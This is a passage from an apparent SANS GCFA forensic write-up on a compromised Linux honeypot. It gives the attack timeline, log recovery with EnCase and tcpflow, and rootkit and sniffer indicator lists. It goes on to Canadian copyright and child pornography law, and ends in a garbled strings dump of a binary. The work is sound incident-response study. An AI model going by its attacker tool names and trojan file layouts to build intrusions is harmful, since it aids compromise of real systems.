Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had its mtime and ctime changed at 16:59:16. One of the commands run during the attacks was `netstat`. The `netstat` command was one of the files successfully trojaned. The `netstat` command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896 <nop,nop,timest 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

```
XXX.XXX.119.141.00080-192.168.002.015.01058
192.168.002.015.01058-XXX.XXX.119.141.00080
```

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the “/var” partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**
Keywords of interest
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

Paths of interest
- /tmp/.s
- /.x

Files of interest
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

Other items of interest
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**
Keywords of interest
- s.tar.gz
- linsniffer
- .addr
• .file
• .llogz
• .lproc
• xxh_h
• xxh_r
• nfsdi
• init.sshd
• popauth
• weit

Paths of interest
• /tmp/.s
• /tmp/.s/nfsd
• /tmp/.s/sshd
• /tmp/.font
• /tmp/.font/unix
• /tmp/.font/unix/.X11
• /tmp/.font/unix/.X11/pipe
• /tmp/.font/unix/.X11/pipe/COPYING
• /tmp/.font/unix/.X11/pipe/README
• /tmp/.font/unix/.X11/pipe/TODO
• /tmp/.font/unix/.X11/pipe/VERSIONS
• /tmp/.font/unix/.X11/pipe/Makefile
• /tmp/.font/unix/.X11/pipe/LinkEvents
• /tmp/.font/unix/.X11/pipe/inetd/services
• samba.tar.gz
• .samba/samba
• .samba/solo
• .samba/sys

Files of interest
• r
• s.tar.gz
• .s/du .s/find .s/lproc
• .s/killall .s/linsniffer .s/lss
• .s/netstat .s/ps .s/patree
• .s/tcp .s/top .s/laddr
• .s/.file .s/.llogz
• .s/.clean .s/nfsd .s/nfsd/sshd_config
• .s/.nfsd/xxh_h .s/.nfsd/xxh_r .s/nfsd/nfsdi
• .s/.sshd/.sshd/init.sshd .s/.sshd/sshd_host_key
• .s/.sshd/sshd-install .s/.sshd/sshd_config .s/install
• .s/.sshd/ssh_host_key
• .s/.s/.s/sense
• .s/.s/sense/p.sshd
• .s/.s/bot.tar.gz
• .s/.s/X11-pipe/X11-pipe/COPYING .s/.s/X11-pipe/README
• .s/.s/X11-pipe/VERSIONS .s/.s/X11-pipe/Makefile
• .s/.s/X11-pipe/Makefile
• .s/.s/X11-pipe/Makefile.in .s/.s/X11-pipe/Makefile
• .s/.s/X11-pipe(chanke).c .s/.s/X11-pipe/channel.c
• .s/.s/X11-pipe/commands.h .s/.s/X11-pipe/commands.c
• .s/.s/X11-pipe/defines.h .s/.s/X11-pipe/settings.h
• .s/.s/X11-pipe/socket.c .s/.s/X11-pipe/socket.c
• .s/.s/X11-pipe/socket.h .s/.s/X11-pipe/socket.h
• .s/.s/X11-pipe/socket.h .s/.s/X11-pipe/structs.h
• .s/.s/X11-pipe/structs.h .s/.s/X11-pipe/structs.h
• .s/.s/X11-pipe/structs.h .s/.s/X11-pipe/structs.h
• .s/.s/X11-pipe/samba/vars.c .s/.s/X11-pipe/samba/vars.c
• .s/.s/X11-pipe/samba/vars.c .s/.s/X11-pipe/samba/vars.c
• .s/.s/X11-pipe/samba/vars.c .s/.s/X11-pipe/samba/vars.c
• .s/.s/X11-pipe/samba/samba .s/.s/X11-pipe/samba/samba
• .s/.s/X11-pipe/samba/solo .s/.s/X11-pipe/samba/solo
• .s/.s/X11-pipe/samba/sys .s/.s/X11-pipe/samba/sys
• .s/.s/X11-pipe/samba.tar.gz .s/.s/X11-pipe/samba.tar.gz
• .s/.s/X11-pipe/services .s/.s/X11-pipe/services
• .s/.s/X11-pipe/services .s/.s/X11-pipe/services
• .s/.s/X11-pipe/services .s/.s/X11-pipe/services
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot 79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest connection count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot :- stockholm.SE.eu.Undernet.org Message of the Day -
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr
WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot -Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot :Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time
:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn't review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls -al /proc` to `ls -alR /`.
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls -aliR /`.
Section 3

3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34, S35, S38.1” we find the following:

Civil Remedies

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party


\[38.1\] (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show they know it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

\[\text{Criminal Remedies}^{11}\]

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

\[^{11}\text{Copyright Act of Canada, “Copyright Act of Canada, Part IV – Remedies S.42” R.S. 1985, c. C-42, }\]
(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents/printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

> 487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data.  

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

12 "Criminal Code of Canada, Part XV, Special Procedure and Powers" S487 (1) a-d, (2.1) a-d, (2.2) a-c",  
Appendices

Appendix A

Prog file strings listing

Strings dump - file prog, from Linux 7.3 VMware workstation.

PTRh   QVhx
hK=    h0=
0h=    0hT=
he=    8-tx
h=>    h>=
0h>    0hm>
h>=    h>=
h?    h>=
h?    h>=
h?    h>=
h?    h>=
h?    h>=
h?    h>=
Ph    h>=
0h A  0h B  0h B
0h B  0h C  0h B
0h DC  0h XC  0c C
0hb C  0n C  0n C
hx C  h D  0h D
0h `D  0h B
h C  h D  0h C
h D  0h E
h I  0h I  hXI
h J  h C J  h` J
Ph  PhAK  phAK
hK  huK  huK
hbK  huK  huK
huK  PhHK  phHK
h L  h M  h M
h M  h N  RPSQ
hK M  h` M  RPSQ
RPSQ  [^_]
I RPSQ  h `_ N
hB N  p8hx N
h80  h80
he0  h80
[^_]  X^_
[^[_] [^[_] [^[_]
v61
ug;]}  s=;}
[^_]}  PSh|  VPVS
[^[_]}  [^[_]}  [^[_}  v61
<bt!<b  RP SW
[^_]}  /FBH-
[^_]}  t $QP VS
PVRS  t $<[^[_}  t ;'}]
G +G  G +G
V +V  FDHP  F0 +V
[^_]}, t PS  VPR Q
[^_}]  VPRQ  ~*PSV
CDHP  [^[_}]  F0 +V
[^_}]  VSPQ)  ~VQSV
examinign a filename or url!
flag-
mapped against an enum value
arg matches against %s
matches against %s
bd-server
fatal
branch
mft_log_shutdown
exit
blue
orange
<table><tr>%s</table>
Brazil
% s- % s
[fIOPTION]/...
\FB/-\%-s/FR \FIARG/FR % s
\FB/-\%-s/FR \FIVALUE/FR % s
\FB/-\%-s/FR \FFILENAME/FR % s
\FB/-\%-s/FR %s
Report bugs to %s.
Usage: %s [OPTION]...
\FB/-\%-s/FR %s
Any of the valid values for \FB/-\%-s/FR can be supplied directly as options. For
instance, \FB/-\%-s/FR can be used in place of \FB--
% s=\%-s/FR.
.SH REPORTING BUGS
Report bugs to %s.
null block while mapping block %d

Unable to stat file: %s
%s is not a regular file.

Unable to stat raw device %s
device mismatch 0x%x != 0x%x

Unable to open raw device %s
raw fd is %d

write error

bogowipe

bmap_raw_close

bmap_get_block_size

bmap_map_block

bmap_raw_open

filesystem blocksize

computed block count: %d

stat reports %d blocks: %d

bmap_map_block

Kevin Miller - Sans GCFA Assignment – v1.4
/dev/sddx8 /dev/sddx7 /dev/sddx6
/dev/sddx5 /dev/sddx4 /dev/sddx3
/dev/sddx2 /dev/sddx15 /dev/sddx14
/dev/sddx13 /dev/sddx12 /dev/sddx11
/dev/sddx10 /dev/sddx1 /dev/sddx
/dev/sddw9 /dev/sddw8 /dev/sddw7
/dev/sddw6 /dev/sddw5 /dev/sddw4
/dev/sddw3 /dev/sddw2 /dev/sddw15
/dev/sddw14 /dev/sddw13 /dev/sddw12
/dev/sddw11 /dev/sddw10 /dev/sddw1
/dev/sddw /dev/sddv9 /dev/sddv8
/dev/sddv7 /dev/sddv6 /dev/sddv5
/dev/sddv4 /dev/sddv3 /dev/sddv2
/dev/sddv15 /dev/sddv14 /dev/sddv13
/dev/sddv12 /dev/sddv11 /dev/sddv10
/dev/sddv1 /dev/sddv /dev/sddu9
/dev/sddu8 /dev/sddu7 /dev/sddu6
/dev/sddu5 /dev/sddu4 /dev/sddu3
/dev/sddu2 /dev/sddu15 /dev/sddu14
/dev/sddu13 /dev/sddu12 /dev/sddu11
/dev/sddu10 /dev/sddu1 /dev/sddu
/dev/sddt9 /dev/sddt8 /dev/sddt7
/dev/sddt6 /dev/sddt5 /dev/sddt4
/dev/sddt3 /dev/sddt2 /dev/sddt15
/dev/sddt14 /dev/sddt13 /dev/sddt12
/dev/sddt11 /dev/sddt10 /dev/sddt1
/dev/sddt /dev/sdds9 /dev/sdds8
/dev/sdds7 /dev/sdds6 /dev/sdds5
/dev/sdds4 /dev/sdds3 /dev/sdds2
/dev/sdds15 /dev/sdds14 /dev/sdds13
/dev/sdds12 /dev/sdds11 /dev/sdds10
/dev/sdds1 /dev/sdds /dev/sddr9
/dev/sddr8 /dev/sddr7 /dev/sddr6
/dev/sddr5 /dev/sddr4 /dev/sddr3
/dev/sddr2 /dev/sddr15 /dev/sddr14
/dev/sddr13 /dev/sddr12 /dev/sddr11
/dev/sddr10 /dev/sddr1 /dev/sddr
/dev/sddq9 /dev/sddq8 /dev/sddq7
/dev/sddq6 /dev/sddq5 /dev/sddq4
/dev/sddq3 /dev/sddq2 /dev/sddq15
/dev/sddq14 /dev/sddq13 /dev/sddq12
/dev/sddq11 /dev/sddq10 /dev/sddq1
/dev/sdqq /dev/sdp9 /dev/sdp8
/dev/sdp7 /dev/sdp6 /dev/sdp5
/dev/sdp4 /dev/sdp3 /dev/sdp2
/dev/sdp15 /dev/sdp14 /dev/sdp13
/dev/sdp12 /dev/sdp11 /dev/sdp10
/dev/sdp1 /dev/sdp /dev/sd09
/dev/sd08 /dev/sd07 /dev/sd06
/dev/sd05 /dev/sd04 /dev/sd03
/dev/sd02 /dev/sd015 /dev/sd014
/dev/sd013 /dev/sd012 /dev/sd011
/dev/sd010 /dev/sd01 /dev/sd0
/dev/sdn9 /dev/sdn8 /dev/sdn7
/dev/sdn6 /dev/sdn5 /dev/sdn4
/dev/sdn3 /dev/sdn2 /dev/sdn15
/dev/sdn14 /dev/sdn13 /dev/sdn12
/dev/sddn11  /dev/sddn10  /dev/sddn1
/dev/sddn  /dev/sddm9  /dev/sddm8
/dev/sddm7  /dev/sddm6  /dev/sddm5
/dev/sddm4  /dev/sddm3  /dev/sddm2
/dev/sddm15  /dev/sddm14  /dev/sddm13
/dev/sddm12  /dev/sddm11  /dev/sddm10
/dev/sddm1  /dev/sddm  /dev/sddm19
/dev/sdd18  /dev/sdd17  /dev/sdd16
/dev/sdd15  /dev/sdd14  /dev/sdd13
/dev/sdd12  /dev/sdd11  /dev/sdd14
/dev/sdd11  /dev/sdd12  /dev/sdd11
/dev/sdd110  /dev/sdd11  /dev/sdd1
/dev/sddk9  /dev/sddk8  /dev/sddk7
/dev/sddk6  /dev/sddk5  /dev/sddk4
/dev/sddk3  /dev/sddk2  /dev/sddk1
/dev/sddk14  /dev/sddk13  /dev/sddk12
/dev/sddk11  /dev/sddk10  /dev/sddk1
/dev/sddk  /dev/sddj9  /dev/sddj8
/dev/sddj7  /dev/sddj6  /dev/sddj5
/dev/sddj4  /dev/sddj3  /dev/sddj2
/dev/sddj15  /dev/sddj14  /dev/sddj13
/dev/sddj12  /dev/sddj11  /dev/sddj10
/dev/sddj1  /dev/sddj  /dev/sddj19
/dev/sdi8  /dev/sdi7  /dev/sdi6
/dev/sdi5  /dev/sdi4  /dev/sdi3
/dev/sdi2  /dev/sdi15  /dev/sdi14
/dev/sdi13  /dev/sdi12  /dev/sdi11
/dev/sdi10  /dev/sdi1  /dev/sdi
/dev/sdh9  /dev/sdh8  /dev/sdh7
/dev/sdh6  /dev/sdh5  /dev/sdh4
/dev/sdh3  /dev/sdh2  /dev/sdh15
/dev/sdh14  /dev/sdh13  /dev/sdh12
/dev/sdh11  /dev/sdh10  /dev/sdh1
/dev/sdh  /dev/sdg9  /dev/sdg8
/dev/sdg7  /dev/sdg6  /dev/sdg5
/dev/sdq4  /dev/sdq3  /dev/sdq2
/dev/sdq15  /dev/sdq14  /dev/sdq13
/dev/sdq12  /dev/sdq11  /dev/sdq10
/dev/sdg1  /dev/sdg  /dev/sdf9
/dev/sdf8  /dev/sdf7  /dev/sdf6
/dev/sdf5  /dev/sdf4  /dev/sdf3
/dev/sdf2  /dev/sdf15  /dev/sdf14
/dev/sdf13  /dev/sdf12  /dev/sdf11
/dev/sdf10  /dev/sdf1  /dev/sdf
/dev/sde9  /dev/sde8  /dev/sde7
/dev/sde6  /dev/sde5  /dev/sde4
/dev/sde3  /dev/sde2  /dev/sde15
/dev/sde14  /dev/sde13  /dev/sde12
/dev/sde11  /dev/sde10  /dev/sde1
/dev/sde  /dev/sdd9  /dev/sdd8
/dev/sdd7  /dev/sdd6  /dev/sdd5
/dev/sdd4  /dev/sdd3  /dev/sdd2
/dev/sdd15  /dev/sdd14  /dev/sdd13
/dev/sdd12  /dev/sdd11  /dev/sdd10
/dev/sdd1  /dev/sdd  /dev/sddc9
/dev/sdc8  /dev/sdc7  /dev/sdc6
/dev/sdc5  /dev/sdc4  /dev/sdc3
/dev/sdbn6 /dev/sdbn5 /dev/sdbn4
/dev/sdbn3 /dev/sdbn2 /dev/sdbn15
/dev/sdbn14 /dev/sdbn13 /dev/sdbn12
/dev/sdbn11 /dev/sdbn10 /dev/sdbn1
/dev/sdbn /dev/sdbn9 /dev/sdbn8
/dev/sdbm7 /dev/sdbm6 /dev/sdbm5
/dev/sdbm4 /dev/sdbm3 /dev/sdbm2
/dev/sdbml15 /dev/sdbml14 /dev/sdbml13
/dev/sdbml12 /dev/sdbml11 /dev/sdbml10
/dev/sdbml1 /dev/sdbml9 /dev/sdbml8
/dev/sdbl8 /dev/sdbl7 /dev/sdbl6
/dev/sdbl5 /dev/sdbl4 /dev/sdbl15
/dev/sdbl12 /dev/sdbl11 /dev/sdbl14
/dev/sdbl13 /dev/sdbl12 /dev/sdbl11
/dev/sdbl10 /dev/sdbl1 /dev/sdbl
/dev/sdbk9 /dev/sdbk8 /dev/sdbk7
/dev/sdbk6 /dev/sdbk5 /dev/sdbk4
/dev/sdbk3 /dev/sdbk2 /dev/sdbk15
/dev/sdbk14 /dev/sdbk13 /dev/sdbk12
/dev/sdbk11 /dev/sdbk10 /dev/sdbk1
/dev/sdbk /dev/sdbj9 /dev/sdbj8
/dev/sdbj7 /dev/sdbj6 /dev/sdbj5
/dev/sdbj4 /dev/sdbj3 /dev/sdbj2
/dev/sdbj15 /dev/sdbj14 /dev/sdbj13
/dev/sdbj12 /dev/sdbj11 /dev/sdbj10
/dev/sdbj1 /dev/sdbj /dev/sdbj9
/dev/sdbi8 /dev/sdbi7 /dev/sdbi6
/dev/sdbi5 /dev/sdbi4 /dev/sdbi3
/dev/sdbi2 /dev/sdbi15 /dev/sdbi14
/dev/sdbi13 /dev/sdbi12 /dev/sdbi11
/dev/sdbi10 /dev/sdbi9 /dev/sdbi8
/dev/sdbi7 /dev/sdbi6 /dev/sdbi5
/dev/sdbi2 /dev/sdbi15 /dev/sdbi14
/dev/sdbi13 /dev/sdbi12 /dev/sdbi11
/dev/sdbi10 /dev/sdbi9 /dev/sdbi8
/dev/sdbi7 /dev/sdbi6 /dev/sdbi5
/dev/sdbi2 /dev/sdbi15 /dev/sdbi14
/dev/sdbi13 /dev/sdbi12 /dev/sdbi11
/dev/sdbi10 /dev/sdbi9 /dev/sdbi8
/dev/sdbh9 /dev/sdbh8 /dev/sdbh7
/dev/sdbh6 /dev/sdbh5 /dev/sdbh4
/dev/sdbh3 /dev/sdbh2 /dev/sdbh15
/dev/sdbh14 /dev/sdbh13 /dev/sdbh12
/dev/sdbh11 /dev/sdbh10 /dev/sdbh1
/dev/sdbh /dev/sdbg9 /dev/sdbg8
/dev/sdbg7 /dev/sdbg6 /dev/sdbg5
/dev/sdbg4 /dev/sdbg3 /dev/sdbg2
/dev/sdbg15 /dev/sdbg14 /dev/sdbg13
/dev/sdbg12 /dev/sdbg11 /dev/sdbg10
/dev/sdbg1 /dev/sdbg /dev/sdbg9
/dev/sdbf8 /dev/sdbf7 /dev/sdbf6
/dev/sdbf5 /dev/sdbf4 /dev/sdbf3
/dev/sdbf2 /dev/sdbf15 /dev/sdbf14
/dev/sdbf13 /dev/sdbf12 /dev/sdbf11
/dev/sdbf10 /dev/sdbf1 /dev/sdbf
/dev/sde9 /dev/sde8 /dev/sde7
/dev/sde6 /dev/sde5 /dev/sde4
/dev/sde3 /dev/sde2 /dev/sde15
/dev/sde14 /dev/sde13 /dev/sde12
/dev/sde11 /dev/sde10 /dev/sde1
/dev/sde /dev/sdbd9 /dev/sdbd8
/dev/sdbd7 /dev/sdbd6 /dev/sdbd5
/dev/sdbd4 /dev/sdbd3 /dev/sdbd2
/dev/sdbd15 /dev/sdbd14 /dev/sdbd13
/dev/sdbd12 /dev/sdbd11 /dev/sdbd10
/dev/sdat14 /dev/sdat13 /dev/sdat12
/dev/sdat11 /dev/sdat10 /dev/sdat1
/dev/sdat /dev/sdas9 /dev/sdas8
/dev/sdas7 /dev/sdas6 /dev/sdas5
/dev/sdas4 /dev/sdas3 /dev/sdas2
/dev/sdas15 /dev/sdas14 /dev/sdas13
/dev/sdas12 /dev/sdas11 /dev/sdas10
/dev/sdas1 /dev/sdas /dev/sdar9
/dev/sdar8 /dev/sdar7 /dev/sdar6
/dev/sdar5 /dev/sdar4 /dev/sdar3
/dev/sdar2 /dev/sdar15 /dev/sdar14
/dev/sdarl3 /dev/sdar12 /dev/sdar11
/dev/sdar10 /dev/sdar1 /dev/sdar
/dev/sdaq9 /dev/sdaq8 /dev/sdaq7
/dev/sdaq6 /dev/sdaq5 /dev/sdaq4
/dev/sdaq3 /dev/sdaq2 /dev/sdaq1
/dev/sdaq14 /dev/sdaq13 /dev/sdaq12
/dev/sdaq11 /dev/sdaq10 /dev/sdaq1
/dev/sdap7 /dev/sdap6 /dev/sdap5
/dev/sdap4 /dev/sdap3 /dev/sdap2
/dev/sdapi5 /dev/sdapi4 /dev/sdapi3
/dev/sdapi2 /dev/sdapi1 /dev/sdapi0
/dev/sdao8 /dev/sdao7 /dev/sdao6
/dev/sdao5 /dev/sdao4 /dev/sdao3
/dev/sdao2 /dev/sdao15 /dev/sdao14
/dev/sdao13 /dev/sdao12 /dev/sdao11
